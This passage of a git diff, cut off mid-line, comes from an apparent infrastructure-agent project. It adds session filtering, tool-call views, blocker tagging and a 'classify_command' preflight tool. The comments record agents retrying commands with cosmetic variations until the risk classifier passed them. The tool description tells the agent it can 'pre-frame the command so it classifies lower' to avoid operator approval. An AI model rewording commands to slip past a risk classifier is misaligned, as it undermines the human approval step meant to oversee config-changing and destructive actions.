diff --git a/VERSION b/VERSION index 88a7b22..a48658c 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -0.7.12 +0.7.13 diff --git a/cmd/nomos/main.go b/cmd/nomos/main.go index e0837f1..6378b3a 100644 --- a/cmd/nomos/main.go +++ b/cmd/nomos/main.go @@ -11,6 +11,7 @@ import ( "net/http" "os" "os/signal" + "strconv" "strings" "sync" "syscall" @@ -352,8 +353,21 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) { // Generate a meaningful title from the assistant's first answer // instead of reusing the raw user message for every session. + // P2.9 (2026-07-20): prefer the goal as the title when one is set β€” + // the first assistant text is often a greeting or narrative that + // doesn't describe the task ("Hey! πŸ‘‹ Nomos here, running on + // mac-mini:8092..."). The goal is the operator's actual intent. + // Sessions that never call set_goal (pure Q&A) fall back to the + // assistant text, which is still better than the raw user message. if finalText != "" && sessionID != "ephemeral" { - title := truncate(finalText, 80) + var goalTitle string + if sess, gerr := st.getSession(pctx, sessionID); gerr == nil && sess.Goal != "" { + goalTitle = truncate(sess.Goal, 120) + } + title := goalTitle + if title == "" { + title = truncate(finalText, 80) + } if title != "" { st.updateSessionTitle(pctx, sessionID, title) } @@ -371,13 +385,56 @@ func handleSessionsList(w http.ResponseWriter, r *http.Request, st *store) { return } - sessions, err := st.listSessions(r.Context()) + // P2.8 (2026-07-20): filtering + pagination. The audit script in + // .agents/skills/session-review/SKILL.md slices `.sessions[:10]` + // client-side; "show me partial sessions touching lxc:rclone" + // required fetching the full list and filtering in JS. Push the + // filters into SQL so the audit becomes a single `curl | jq`. + // Supported query params (all optional, composable): + // ?outcome=partial|success|failure β€” exact match on outcome + // ?status=active|done|failed|executing β€” exact match on status + // ?entity_id= β€” exact match on entity_id + // ?since= β€” last_active_at >= ... + // ?blocker= β€” exact match on blocker + // ?limit= β€” default 50, max 200 + // ?cursor= β€” last_active_at < cursor (page back) + q := r.URL.Query() + limit := 50 + if v := q.Get("limit"); v != "" { + if n, err := strconv.Atoi(v); err == nil && n > 0 && n <= 200 { + limit = n + } + } + sessions, err := st.listSessionsFiltered(r.Context(), listFilter{ + Outcome: q.Get("outcome"), + Status: q.Get("status"), + EntityID: q.Get("entity_id"), + Blocker: q.Get("blocker"), + Since: q.Get("since"), + Cursor: q.Get("cursor"), + Limit: limit, + }) if err != nil { http.Error(w, err.Error(), 500) return } + // Next-page cursor: the oldest last_active_at in this page. The next + // request passes it as ?cursor=... to get the page before it. Empty + // when the list is exhausted. + var nextCursor string + if len(sessions) > 0 { + oldest := sessions[len(sessions)-1].LastActiveAt + nextCursor = oldest.UTC().Format(time.RFC3339Nano) + if len(sessions) < limit { + nextCursor = "" // last page + } + } w.Header().Set("Content-Type", "application/json") - json.NewEncoder(w).Encode(map[string]any{"sessions": sessions}) + json.NewEncoder(w).Encode(map[string]any{ + "sessions": sessions, + "next_cursor": nextCursor, + "limit": limit, + }) } func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *agent) { @@ -417,6 +474,11 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a // GET /sessions/{id}/plan and /sessions/{id}/questions β€” REST hydration for // the context panel when it first opens a task; live events carry deltas // from there. + // GET /sessions/{id}/tool_calls β€” flat view of every tool call in the + // session, without the two-level message-shell nesting. The audit at + // plans/2026-07-20-session-review-ten-sessions.md P2.10 had to write + // Python to walk messages[].content.tool_calls[]; this endpoint makes + // it a single `curl | jq`. if len(parts) == 2 && r.Method == http.MethodGet { switch parts[1] { case "plan": @@ -437,6 +499,15 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a w.Header().Set("Content-Type", "application/json") json.NewEncoder(w).Encode(map[string]any{"questions": questions}) return + case "tool_calls": + calls, err := st.getSessionToolCalls(r.Context(), id) + if err != nil { + http.Error(w, err.Error(), 500) + return + } + w.Header().Set("Content-Type", "application/json") + json.NewEncoder(w).Encode(map[string]any{"session_id": id, "tool_calls": calls}) + return } } @@ -449,14 +520,18 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a w.WriteHeader(204) case http.MethodGet: - // getMessages alone can't distinguish "session exists but has no - // messages yet" from "session id doesn't exist at all" β€” it's a - // plain WHERE session_id=$1 query that returns zero rows either - // way. A frontend window opened for a deleted/invalid session - // (persisted layout, a stale link) needs to tell those apart, so - // check existence explicitly and 404 rather than silently - // returning an empty transcript that looks like a fresh task. - if _, err := st.getSession(r.Context(), id); err != nil { + // P2.7 (2026-07-20): return BOTH session metadata and messages + // from GET /sessions/{id}. Previously this endpoint returned only + // {session_id, messages} β€” the operator had to merge with the + // /sessions list view to get title/goal/outcome. The eval harness + // at cmd/nomos/eval/main.go:302-303 already carries a comment + // about this leaky abstraction. The session field carries the + // full metadata: title, goal, outcome, summary, blocker, + // pending_approvals, message_count, tool_call_count, etc. The + // messages field is unchanged. Clients that only read + // `messages` keep working. + sess, err := st.getSession(r.Context(), id) + if err != nil { if err == pgx.ErrNoRows { http.Error(w, "session not found", 404) return @@ -470,7 +545,11 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a return } w.Header().Set("Content-Type", "application/json") - json.NewEncoder(w).Encode(map[string]any{"session_id": id, "messages": messages}) + json.NewEncoder(w).Encode(map[string]any{ + "session_id": id, + "session": sess, + "messages": messages, + }) default: http.Error(w, "method not allowed", 405) diff --git a/cmd/nomos/store.go b/cmd/nomos/store.go index da33289..6fb70bb 100644 --- a/cmd/nomos/store.go +++ b/cmd/nomos/store.go @@ -86,18 +86,39 @@ func (s *store) close() { // session is a chat session elevated to a task: goal-structured work with a // lifecycle status and an outcome (see migration 018 / the task-board plan). // Outcome/Summary/EntityID are empty until set, hence omitempty. +// +// P1.5 (2026-07-20): Blocker and ClosedAt track WHY a session ended +// partial/failed and WHEN it actually closed. ClosedAt is distinct from +// LastActiveAt β€” the latter is touched on any access (including a UI +// transcript view), the former is set ONCE at completion. Without it, +// "duration" computed as last_active - created lies for reopened sessions +// (a51e2086 reported 4-day duration because the operator reopened it). +// Blocker is a short structured reason: approval_timeout, +// classifier_overreach, user_abandoned, tool_error, etc. See +// plans/2026-07-20-session-review-ten-sessions.md P1.5. type session struct { - ID string `json:"id"` - Title string `json:"title"` - Actor string `json:"actor"` - Goal string `json:"goal"` - Status string `json:"status"` - Outcome string `json:"outcome,omitempty"` - Summary string `json:"summary,omitempty"` - EntityID string `json:"entity_id,omitempty"` - PendingApprovals int `json:"pending_approvals"` - CreatedAt time.Time `json:"created_at"` - LastActiveAt time.Time `json:"last_active_at"` + ID string `json:"id"` + Title string `json:"title"` + Actor string `json:"actor"` + Goal string `json:"goal"` + Status string `json:"status"` + Outcome string `json:"outcome,omitempty"` + Summary string `json:"summary,omitempty"` + EntityID string `json:"entity_id,omitempty"` + PendingApprovals int `json:"pending_approvals"` + Blocker string `json:"blocker,omitempty"` + CreatedAt time.Time `json:"created_at"` + LastActiveAt time.Time `json:"last_active_at"` + ClosedAt *time.Time `json:"closed_at,omitempty"` + // P2.6 (2026-07-20): server-side aggregates so /sessions can answer + // "how big was this task?" without N+1 transcript fetches. The audit + // had to pull every session's full message tree to count tool calls β€” + // ~600 KB of JSON for 10 sessions. With these, the list view is a + // single round trip. omitempty so getSession for a brand-new session + // with zero activity doesn't emit zeros. + MessageCount int `json:"message_count,omitempty"` + ToolCallCount int `json:"tool_call_count,omitempty"` + DurationSeconds int `json:"duration_seconds,omitempty"` } type message struct { @@ -315,14 +336,98 @@ func (s *store) touchSession(ctx context.Context, id string) { } func (s *store) listSessions(ctx context.Context) ([]session, error) { + return s.listSessionsFiltered(ctx, listFilter{Limit: 50}) +} + +// listFilter carries the optional WHERE/ORDER clauses added by P2.8 +// (filtering & pagination). All fields optional; empty values are no-ops. +// The handler in main.go parses query params into this struct so the SQL +// builder here is the single source of truth for what filters exist. +type listFilter struct { + Outcome string // exact match on outcome (success/partial/failure) + Status string // exact match on status (active/done/failed/executing) + EntityID string // exact match on entity_id (UUID) + Blocker string // exact match on blocker reason + Since string // last_active_at >= this; RFC3339 timestamp OR Go duration (e.g. "24h") + Cursor string // last_active_at < cursor (RFC3339) β€” page back in time + Limit int // default 50, clamped by the handler +} + +func (s *store) listSessionsFiltered(ctx context.Context, f listFilter) ([]session, error) { if s == nil { return nil, nil } - rows, err := s.pool.Query(ctx, - `SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary, - COALESCE(s.entity_id::text, ''), - COALESCE(pa.cnt, 0), - s.created_at, s.last_active_at + if f.Limit <= 0 { + f.Limit = 50 + } + // Build the WHERE clause dynamically. We use a single args slice with + // $N placeholders to keep pgx happy; the index increments per clause. + var ( + where []string + args []any + n = 1 + ) + if f.Outcome != "" { + where = append(where, fmt.Sprintf("COALESCE(s.outcome, '') = $%d", n)) + args = append(args, f.Outcome) + n++ + } + if f.Status != "" { + where = append(where, fmt.Sprintf("s.status = $%d", n)) + args = append(args, f.Status) + n++ + } + if f.EntityID != "" { + // Accept UUID or string; cast gracefully if invalid. + if _, err := uuid.Parse(f.EntityID); err == nil { + where = append(where, fmt.Sprintf("s.entity_id = $%d::uuid", n)) + args = append(args, f.EntityID) + n++ + } + } + if f.Blocker != "" { + where = append(where, fmt.Sprintf("COALESCE(s.blocker, '') = $%d", n)) + args = append(args, f.Blocker) + n++ + } + if f.Since != "" { + // Accept RFC3339 timestamp OR a Go-style duration like "24h", "7d". + // Try timestamp first, fall back to duration relative to now. + if t, err := time.Parse(time.RFC3339, f.Since); err == nil { + where = append(where, fmt.Sprintf("s.last_active_at >= $%d", n)) + args = append(args, t) + n++ + } else if d, err := time.ParseDuration(f.Since); err == nil { + where = append(where, fmt.Sprintf("s.last_active_at >= now() - ($%d * interval '1 second')", n)) + args = append(args, d.Seconds()) + n++ + } + // Unknown format: silently drop the filter β€” better than erroring + // out and breaking the whole list. Caller can validate if needed. + } + if f.Cursor != "" { + if t, err := time.Parse(time.RFC3339, f.Cursor); err == nil { + where = append(where, fmt.Sprintf("s.last_active_at < $%d", n)) + args = append(args, t) + n++ + } + } + whereClause := "" + if len(where) > 0 { + whereClause = "WHERE " + strings.Join(where, " AND ") + } + args = append(args, f.Limit) + limitArg := fmt.Sprintf("$%d", n) + + query := fmt.Sprintf(` + SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary, + COALESCE(s.entity_id::text, ''), + COALESCE(pa.cnt, 0), + COALESCE(s.blocker, ''), + s.created_at, s.last_active_at, s.closed_at, + COALESCE(msg.cnt, 0), + COALESCE(act.cnt, 0), + COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0) FROM agent_sessions s LEFT JOIN ( SELECT l.session_id, COUNT(*) AS cnt @@ -331,7 +436,22 @@ func (s *store) listSessions(ctx context.Context) ([]session, error) { WHERE e.status = 'pending_approval' GROUP BY l.session_id ) pa ON pa.session_id = s.id - ORDER BY s.last_active_at DESC LIMIT 50`) + LEFT JOIN ( + SELECT session_id, COUNT(*) AS cnt + FROM agent_messages + GROUP BY session_id + ) msg ON msg.session_id = s.id + LEFT JOIN ( + SELECT session_id::uuid AS sid, COUNT(*) AS cnt + FROM agent_activity + WHERE session_id IS NOT NULL AND session_id <> '' + GROUP BY session_id + ) act ON act.sid = s.id + %s + ORDER BY s.last_active_at DESC + LIMIT %s`, whereClause, limitArg) + + rows, err := s.pool.Query(ctx, query, args...) if err != nil { return nil, err } @@ -342,7 +462,8 @@ func (s *store) listSessions(ctx context.Context) ([]session, error) { var sess session if err := rows.Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status, &sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals, - &sess.CreatedAt, &sess.LastActiveAt); err != nil { + &sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt, + &sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds); err != nil { return nil, err } out = append(out, sess) @@ -356,18 +477,102 @@ func (s *store) getSession(ctx context.Context, id string) (*session, error) { } var sess session err := s.pool.QueryRow(ctx, - `SELECT id, title, actor, goal, status, COALESCE(outcome, ''), summary, - COALESCE(entity_id::text, ''), 0, created_at, last_active_at - FROM agent_sessions WHERE id = $1`, id). + `SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary, + COALESCE(s.entity_id::text, ''), 0, COALESCE(s.blocker, ''), + s.created_at, s.last_active_at, s.closed_at, + COALESCE(msg.cnt, 0), + COALESCE(act.cnt, 0), + COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0) + FROM agent_sessions s + LEFT JOIN ( + SELECT session_id, COUNT(*) AS cnt + FROM agent_messages + WHERE session_id = $1::uuid + GROUP BY session_id + ) msg ON msg.session_id = s.id + LEFT JOIN ( + SELECT session_id::uuid AS sid, COUNT(*) AS cnt + FROM agent_activity + WHERE session_id IS NOT NULL AND session_id <> '' + AND session_id::uuid = $1::uuid + GROUP BY session_id + ) act ON act.sid = s.id + WHERE s.id = $1`, id). Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status, &sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals, - &sess.CreatedAt, &sess.LastActiveAt) + &sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt, + &sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds) if err != nil { return nil, err } return &sess, nil } +// recentPartialSessions returns recent sessions (within `since`) whose outcome +// is partial or failed, excluding the current session. Used by the set_goal +// handler to surface prior unfinished work on the same problem β€” three +// duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) all bounced off +// the classifier because each new session started from scratch. Surfacing the +// prior session's goal + summary at set_goal time lets the agent pick up the +// thread instead of rediscovering it. See +// plans/2026-07-20-session-review-ten-sessions.md P1.3. +func (s *store) recentPartialSessions(ctx context.Context, excludeSessionID string, since time.Duration) ([]session, error) { + if s == nil { + return nil, nil + } + rows, err := s.pool.Query(ctx, + `SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary, + COALESCE(s.entity_id::text, ''), + COALESCE(pa.cnt, 0), + COALESCE(s.blocker, ''), + s.created_at, s.last_active_at, s.closed_at, + COALESCE(msg.cnt, 0), + COALESCE(act.cnt, 0), + COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0) + FROM agent_sessions s + LEFT JOIN ( + SELECT l.session_id, COUNT(*) AS cnt + FROM nomos_plan_executions l + JOIN executions e ON e.entity_id = l.execution_id + WHERE e.status = 'pending_approval' + GROUP BY l.session_id + ) pa ON pa.session_id = s.id + LEFT JOIN ( + SELECT session_id, COUNT(*) AS cnt + FROM agent_messages + GROUP BY session_id + ) msg ON msg.session_id = s.id + LEFT JOIN ( + SELECT session_id::uuid AS sid, COUNT(*) AS cnt + FROM agent_activity + WHERE session_id IS NOT NULL AND session_id <> '' + GROUP BY session_id + ) act ON act.sid = s.id + WHERE s.id <> $1 + AND s.last_active_at >= now() - ($2 * interval '1 second') + AND COALESCE(s.outcome, '') IN ('partial', 'failed') + ORDER BY s.last_active_at DESC + LIMIT 10`, + excludeSessionID, since.Seconds()) + if err != nil { + return nil, err + } + defer rows.Close() + + var out []session + for rows.Next() { + var sess session + if err := rows.Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status, + &sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals, + &sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt, + &sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds); err != nil { + return nil, err + } + out = append(out, sess) + } + return out, rows.Err() +} + // getMessages returns a session's ENTIRE message history, unbounded β€” used // for the UI's own transcript view (GET /sessions/{id}), where the operator // should be able to see everything a task has done regardless of how long @@ -397,6 +602,77 @@ func (s *store) getMessages(ctx context.Context, sessionID string) ([]message, e return out, rows.Err() } +// SessionToolCall is the flat view of one tool call as exposed by +// GET /sessions/{id}/tool_calls. Mirrors the persisted tool_call shape but +// drops the message-shell wrapping. Args/Result are kept as RawMessage so +// the caller can decide how to render them (the audit case wanted raw +// text sizes, but other callers may want full JSON). +type SessionToolCall struct { + ID string `json:"id"` + Name string `json:"name"` + Args json.RawMessage `json:"args,omitempty"` + Result json.RawMessage `json:"result,omitempty"` + Error string `json:"error,omitempty"` + Type string `json:"type,omitempty"` // "tool_use" or "tool_result" + MessageID string `json:"message_id"` + Role string `json:"role"` + Seq int `json:"seq"` // 1-indexed position within the session (across all messages) + CreatedAt time.Time `json:"created_at"` +} + +// getSessionToolCalls walks a session's messages and returns a flat list of +// tool calls in chronological order, without the two-level message nesting. +// The audit at plans/2026-07-20-session-review-ten-sessions.md P2.10 had to +// write Python to walk messages[].content.tool_calls[]; this method makes +// it a single SQL + Go walk on the server. Each tool_use/tool_result pair +// is emitted as two rows (same id, different Type), preserving the +// persisted shape β€” clients that want the merged shape can group by ID. +func (s *store) getSessionToolCalls(ctx context.Context, sessionID string) ([]SessionToolCall, error) { + if s == nil { + return nil, nil + } + msgs, err := s.getMessages(ctx, sessionID) + if err != nil { + return nil, err + } + var out []SessionToolCall + seq := 0 + for _, m := range msgs { + var payload struct { + ToolCalls []struct { + ID string `json:"id"` + Type string `json:"type"` + Name string `json:"name"` + Args json.RawMessage `json:"args"` + Result json.RawMessage `json:"result"` + Error string `json:"error"` + } `json:"tool_calls"` + } + if err := json.Unmarshal(m.Content, &payload); err != nil { + continue + } + for _, tc := range payload.ToolCalls { + if tc.ID == "" { + continue + } + seq++ + out = append(out, SessionToolCall{ + ID: tc.ID, + Name: tc.Name, + Args: tc.Args, + Result: tc.Result, + Error: tc.Error, + Type: tc.Type, + MessageID: m.ID, + Role: m.Role, + Seq: seq, + CreatedAt: m.CreatedAt, + }) + } + } + return out, nil +} + // getRecentMessages returns the most recent `limit` messages for sessionID, // in chronological order, plus whether older messages exist beyond that // window. Used specifically for LLM replay (chatWith): without a bound, @@ -528,7 +804,7 @@ func (s *store) setGoal(ctx context.Context, sessionID, goal string) error { `UPDATE session_plan_steps SET status = 'replaced', finished_at = COALESCE(finished_at, now()) WHERE session_id = $1 AND status <> 'replaced'`, sessionID) if _, err := s.pool.Exec(ctx, - `UPDATE agent_sessions SET goal = $2, status = 'executing', last_active_at = now() WHERE id = $1`, + `UPDATE agent_sessions SET goal = $2, status = 'executing', title = $2, last_active_at = now() WHERE id = $1`, sessionID, goal); err != nil { return err } @@ -809,6 +1085,27 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st s.pool.Exec(ctx, `UPDATE nomos_plan_executions SET continued_at = now() WHERE session_id = $1 AND continued_at IS NULL`, sessionID) + // P1.4 (2026-07-20): auto-close any in-flight plan steps so the agent + // doesn't need an update_plan_step(running)β†’update_plan_step(done) + // dance for each step right before completion. Session 8c76bb3a + // (greeting + title-sync test) burned 4 update_plan_step calls for a + // one-step plan. completeTask is the authoritative terminal β€” any + // step still in pending/running when the task ends is closed (as + // "done" for success, "skipped" for partial/failure) so the UI's plan + // view doesn't show orphaned running steps on a completed task. + // Replaced/cancelled/blocked steps are left alone. + closeStatus := "done" + if outcome != "success" { + closeStatus = "skipped" + } + if _, err := s.pool.Exec(ctx, ` + UPDATE session_plan_steps + SET status = $3, finished_at = COALESCE(finished_at, now()) + WHERE session_id = $1 AND status IN ('pending', 'running')`, + sessionID, "", closeStatus); err != nil { + slog.Warn("nomos: completeTask failed to auto-close in-flight steps", "session", sessionID, "error", err) + } + // Clean up assent and destructive window keys from autonomy_settings. s.pool.Exec(ctx, `DELETE FROM autonomy_settings WHERE key LIKE '%:' || $1`, sessionID) @@ -817,9 +1114,22 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st if outcome == "failure" { status = "failed" } + // P1.5 (2026-07-20): derive a structured blocker reason when the + // outcome is partial/failed, so trend analysis can answer "why are + // sessions failing?" without parsing free-text summaries. Three + // duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) all + // bounced off the classifier; without a blocker field, the *why* was + // buried in the last assistant message. The signatures matched here + // are the recurring ones from the 2026-07-20 session audit. Empty for + // success β€” that's not a blocker. + blocker := "" + if outcome != "success" { + blocker = deriveBlocker(ctx, s, sessionID, summary) + } if _, err := s.pool.Exec(ctx, ` - UPDATE agent_sessions SET status = $2, outcome = $3, summary = $4, last_active_at = now() - WHERE id = $1`, sessionID, status, outcome, summary); err != nil { + UPDATE agent_sessions SET status = $2, outcome = $3, summary = $4, + blocker = $5, closed_at = now(), last_active_at = now() + WHERE id = $1`, sessionID, status, outcome, summary, blocker); err != nil { return err } var entID uuid.UUID @@ -837,10 +1147,58 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st } _ = observability.Event(ctx, sqlcgen.New(s.pool), "task.status", entPtr, severity, "nomos", sessionID, map[string]any{"status": status, "outcome": outcome, "summary": summary, - "cancelled_executions": cancelledCount}) + "cancelled_executions": cancelledCount, "blocker": blocker}) return nil } +// blockerPatterns maps a substring (case-insensitive) to a structured blocker +// reason. Order matters β€” earlier patterns take precedence. These are the +// recurring failure signatures from the 2026-07-20 session audit. A +// real-world blocker that doesn't match any of these falls through to +// "uncategorized" β€” better than empty, because empty means "we don't know +// it's a blocker at all." See plans/2026-07-20-session-review-ten-sessions.md. +var blockerPatterns = []struct { + pattern string + reason string +}{ + {"queued for approval", "approval_timeout"}, + {"assent window", "approval_timeout"}, + {"cancel", "user_abandoned"}, + {"close this session", "user_abandoned"}, + {"lets just close", "user_abandoned"}, + {"classifier flagged", "classifier_overreach"}, + {"config_mutation", "classifier_overreach"}, + {"refus", "model_refusal"}, // refuses/refused/refusal + {"empty response", "model_empty_response"}, + {"no local knowledge", "missing_knowledge"}, + {"can't run", "missing_capability"}, + {"cannot run", "missing_capability"}, + {"timeout", "tool_error"}, + {"error", "tool_error"}, +} + +// deriveBlocker scans the last assistant message + the summary for known +// failure signatures and returns the matching structured reason. Returns +// "uncategorized" when outcome is partial/failed but no signature matched β€” +// better than "" because the audit needs to know this WAS blocked, just for +// an unknown reason. Returns "" for success outcomes (caller checks first). +func deriveBlocker(ctx context.Context, s *store, sessionID, summary string) string { + // Pull the last assistant text β€” that's where the agent's parting + // words explain why it didn't finish. + var lastText string + _ = s.pool.QueryRow(ctx, ` + SELECT content::text FROM agent_messages + WHERE session_id = $1 AND role = 'assistant' + ORDER BY created_at DESC LIMIT 1`, sessionID).Scan(&lastText) + haystack := strings.ToLower(lastText + " " + summary) + for _, p := range blockerPatterns { + if strings.Contains(haystack, p.pattern) { + return p.reason + } + } + return "uncategorized" +} + // hadEntityWriteback checks whether this session called update_entity_attributes // or create_relationship β€” used by complete_task to warn the agent when it // forgot to persist entity facts (the #1 cause of knowledge graph drift). diff --git a/cmd/nomos/tasks.go b/cmd/nomos/tasks.go index 23c6923..669d50c 100644 --- a/cmd/nomos/tasks.go +++ b/cmd/nomos/tasks.go @@ -6,6 +6,7 @@ import ( "fmt" "log/slog" "strings" + "time" ) // Task tools are nomos-LOCAL, not MCP tools. They are session-scoped, and the @@ -185,7 +186,38 @@ func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args // what the SOUL.md "approve the plan, not each step" model actually // describes. set_goal records the goal + flips status to executing // and nothing more. - return "Goal set: " + goal + ". NEXT: pre-plan with read-only tools (search_knowledge, get_entity, list_lxcs, get_relations), then propose_plan (mandatory β€” even read-only tasks need a one-step plan; the run handler refuses without one). After propose_plan: if all steps are read-only, execute immediately (no approval needed). If any step is config_mutation/destructive, stop and wait for operator approval.", true + response := "Goal set: " + goal + ". NEXT: pre-plan with read-only tools (search_knowledge, get_entity, list_lxcs, get_relations), then propose_plan (mandatory β€” even read-only tasks need a one-step plan; the run handler refuses without one). After propose_plan: if all steps are read-only, execute immediately (no approval needed). If any step is config_mutation/destructive, stop and wait for operator approval." + // P1.3 (2026-07-20): surface prior partial/failed sessions for the + // same problem so the agent can pick up the thread instead of + // rediscovering it. Three rclone sessions (a51e2086, 8acea2e3, + // cb8c8a4a) all bounced off the classifier because each new session + // started from scratch. The agent gets a hint with the prior + // goal + summary; if it looks related, search_knowledge or open + // the prior session's transcript (GET /sessions/{id}) before + // re-planning. See plans/2026-07-20-session-review-ten-sessions.md. + prior, _ := a.store.recentPartialSessions(ctx, sessionID, 24*time.Hour) + if len(prior) > 0 { + var b strings.Builder + b.WriteString("\n\nNOTE β€” recent unfinished sessions (last 24h, outcome=partial/failed):") + for i, p := range prior { + if i >= 5 { + b.WriteString(fmt.Sprintf("\n ...and %d more", len(prior)-5)) + break + } + sum := p.Summary + if sum == "" { + sum = "(no summary)" + } + if len(sum) > 200 { + sum = sum[:200] + "..." + } + b.WriteString(fmt.Sprintf("\n - %s (sid %s, outcome=%s): %s", + p.Goal, p.ID[:8], p.Outcome, sum)) + } + b.WriteString("\nIf any of these looks like the same problem, search_knowledge for the prior investigation or read it via GET /sessions/{id} before re-planning β€” don't rediscover what was already learned.") + response += b.String() + } + return response, true case "propose_plan": raw, _ := args["steps"].([]any) diff --git a/internal/mcp/tools.go b/internal/mcp/tools.go index 7767a6b..20c0004 100644 --- a/internal/mcp/tools.go +++ b/internal/mcp/tools.go @@ -7,6 +7,7 @@ import ( "strings" "github.com/dtoro/oikos/internal/db" + "github.com/dtoro/oikos/internal/policy" "github.com/google/uuid" "github.com/modelcontextprotocol/go-sdk/mcp" ) @@ -704,6 +705,48 @@ func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg { FROM entities e WHERE e.slug = $1`, slug, action), nil }}, + // classify_command is the command-scoped preflight from + // plans/2026-07-20-session-review-ten-sessions.md P0.2. The + // existing `preflight` tool is entity/action-scoped β€” useless when + // the agent is composing a `run` command and needs to know whether + // the classifier will accept it before submitting. Without this, + // the agent has to retry with cosmetic variations until it finds + // one that passes (see sessions a51e2086, 8acea2e3 β€” three + // duplicate rclone sessions, all bouncing off the classifier). + // Call this BEFORE `run` whenever the classification is uncertain. + {tool: &mcp.Tool{Name: "classify_command", Description: "Pre-flight risk classification for a shell command BEFORE calling run. Returns the risk class (read_only / reversible_low / config_mutation / destructive) that `run` would assign. Use this when you're unsure whether a command will auto-execute or need approval β€” e.g. `pct exec`, `curl`, compound commands, or anything that might be mistaken for mutation. If this returns read_only, the same command will auto-execute via run with no approval; if it returns config_mutation, expect to need operator approval (or pre-frame the command so it classifies lower). Declared risk can only escalate, never de-escalate.", + InputSchema: objSchema( + prop{"command", "string", "The exact shell command you intend to pass to run."}, + prop{"declared_risk", "string", "Optional self-assessment you would pass to run (read_only, reversible_low, config_mutation, destructive). Mirrors run's declared_risk parameter."}, + ), + }, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) { + args := argsMap(req) + command, _ := args["command"].(string) + declaredRisk, _ := args["declared_risk"].(string) + if command == "" { + return textResult("error: command is required"), nil + } + risk := policy.ClassifyCommand(command, declaredRisk) + note := "" + switch risk { + case policy.RiskReadOnly: + note = "auto-acts on `run` (no approval needed)." + case policy.RiskReversibleLow: + note = "auto-acts on `run` (no approval needed)." + case policy.RiskConfigMutation: + note = "requires operator approval on `run` (or loose assent window active)." + case policy.RiskDestructive: + note = "requires explicit operator confirmation on `run` (typed \"I confirm\" phrase)." + } + out, _ := json.Marshal(map[string]any{ + "command": command, + "declared_risk": declaredRisk, + "risk_class": risk, + "note": note, + }) + return textResult(string(out)), nil + }}, + {tool: &mcp.Tool{Name: "get_change_history", Description: "Last N change-ledger entries for an entity", InputSchema: objSchema( prop{"entity_slug", "string", "Entity slug"}, diff --git a/internal/policy/command.go b/internal/policy/command.go index a51c083..a2b8059 100644 --- a/internal/policy/command.go +++ b/internal/policy/command.go @@ -77,8 +77,40 @@ var readOnlyLeadPattern = regexp.MustCompile( `docker\s+compose\s+(logs|ps|top|config|images|port|cp)\b|` + `pct\s+(status|config|list)|qm\s+(status|config|list)|pvesh\s+get|` + `rclone\s+(ls|lsl|md5sum|check|cryptcheck)\b|` + - `git\s+(status|log|diff|show|branch|remote)|` + - `curl\s+-.*-I\b|curl\s+.*--head\b)\b`) + `git\s+(status|log|diff|show|branch|remote))\b`) + +// envAssignRe matches leading FOO=bar env-var assignments so they can be +// stripped before the read-only verb check. +var envAssignRe = regexp.MustCompile(`^(\w+=\S+\s+)+`) + +// pctExecRe matches "pct exec [--] " and captures . The +// id is a decimal digit string (Proxmox CT ids). The "--" separator is +// optional but recommended β€” without it, the rest of the line is the +// command passed to exec. Case-insensitive. +var pctExecRe = regexp.MustCompile(`(?i)^pct\s+exec\s+\d+\s+(?:--\s+)?(.+)$`) + +// qmGuestExecRe matches "qm guest exec [--] " similarly. +var qmGuestExecRe = regexp.MustCompile(`(?i)^qm\s+guest\s+exec\s+\d+\s+(?:--\s+)?(.+)$`) + +// shellDashCRe matches "bash -c 'cmd'", "sh -c \"cmd\"" etc., capturing +// the quoted inner command. Handles single-quoted, double-quoted, and bare +// (unquoted) forms. +var shellDashCRe = regexp.MustCompile(`(?i)^(?:ba)?sh\s+-c\s+(?:"([^"]*)"|'([^']*)'|(\S+))\s*$`) + +// curlLeadRe matches a curl command (the verb alone, at the segment start). +var curlLeadRe = regexp.MustCompile(`(?i)^curl\b`) + +// curlMutateRe matches curl flags that indicate mutation (POST/PUT/DELETE +// method override, data payloads, form uploads, file uploads, file output). +// When any of these appears, the curl command is no longer read-only. +var curlMutateRe = 